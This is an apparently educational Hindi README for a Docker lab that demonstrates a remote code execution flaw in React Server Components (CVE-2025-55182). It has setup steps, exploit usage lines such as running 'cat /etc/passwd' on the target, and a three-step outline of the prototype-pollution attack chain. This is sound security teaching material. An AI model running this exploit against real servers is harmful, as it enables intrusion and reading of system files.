CVE-2025-55182 लैब — React Server Components RCE

शैक्षिक लैब जो CVE-2025-55182 का प्रदर्शन करता है — React Server Components में एक गंभीर (CVSS 10.0) रिमोट कोड निष्पादन भेद्यता, जो Flight प्रोटोकॉल डिसेरियलाइज़र में प्रोटोटाइप प्रदूषण के कारण होती है।
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस सामग्री के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। इस कोड का उपयोग करके, आप सहमत हैं कि आप अपने स्वयं के कार्यों के लिए जिम्मेदार हैं।
त्वरित आरंभ
# 1. Clone
git clone https://github.com/Jeanback1/react-rsc-cve-2025-55182-lab.git
cd react-rsc-cve-2025-55182-lab
# 2. Start the lab (vulnerable + patched instances)
docker compose up -d
# Wait ~2 minutes for both containers to build and start.
# 3. Exploit the vulnerable instance
python exploit/exploit.py http://localhost:3011 id
# 4. Try the same against the patched instance — it fails
python exploit/exploit.py http://localhost:3012 id
लैब आर्किटेक्चर
docker compose
┌────────────────────────────────┐
│ │
attacker ────▶│ :3011 → rsc-lab-vulnerable │ React 19.2.0
│ (Server Action) │ ← exploitable
│ │
│ :3012 → rsc-lab-patched │ React 19.2.1
│ (no Server Action) │ ← patched
└────────────────────────────────┘
आवश्यकताएँ
- Docker + Docker Compose v2
- Python 3.8+ with
requests (pip install requests)
फ़ाइलें
├── docker-compose.yml # Lab orchestration
├── README.md # This file
├── LICENSE
│
├── vulnerable/ # Vulnerable Next.js app
│ ├── Dockerfile
│ ├── package.json # [email protected], [email protected]
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx # Server Component + Server Action
│ └── actions.ts # 'use server' — the attack surface
│
├── patched/ # Patched Next.js app
│ ├── Dockerfile
│ ├── package.json # [email protected], [email protected]
│ └── app/
│ ├── layout.tsx
│ └── page.tsx # Server Component only (no Server Actions)
│
├── exploit/
│ ├── exploit.py # Educational RCE exploit (well-commented)
│ ├── requirements.txt
│ └── pyproject.toml
│
└── docs/
└── CVE-2025-55182.md # Full technical analysis
एक्सप्लॉइट उपयोग
# Single command execution
python exploit/exploit.py <target> <command>
# Examples
python exploit/exploit.py http://localhost:3011 id
python exploit/exploit.py http://localhost:3011 "cat /etc/passwd"
python exploit/exploit.py http://localhost:3011 "ls -la /app"
एक्सप्लॉइट तीन चरणों में काम करता है:
- बनाएँ
__proto__ ट्रैवर्सल के साथ एक Flight पेलोड → Object.prototype.then को दूषित करें
- भेजें पेलोड को
multipart/form-data के रूप में सर्वर एक्शन एंडपॉइंट के माध्यम से
- निकालें कमांड आउटपुट को
X-Action-Redirect रिस्पॉन्स हेडर से (base64-एन्कोडेड)
प्रभावित संस्करण
| पैकेज | कमजोर | पैच किया गया |
|---|
react | ≤ 19.2.0 | ≥ 19.2.1 |
react-dom |
तकनीकी गहराई
पूर्ण विवरण के लिए docs/CVE-2025-55182.md देखें:
- Flight प्रोटोकॉल कैसे काम करता है
__proto__ ट्रैवर्सल खतरनाक क्यों है
- एक्सप्लॉइट श्रृंखला चरण-दर-चरण
- पहचान और शमन रणनीतियाँ
संदर्भ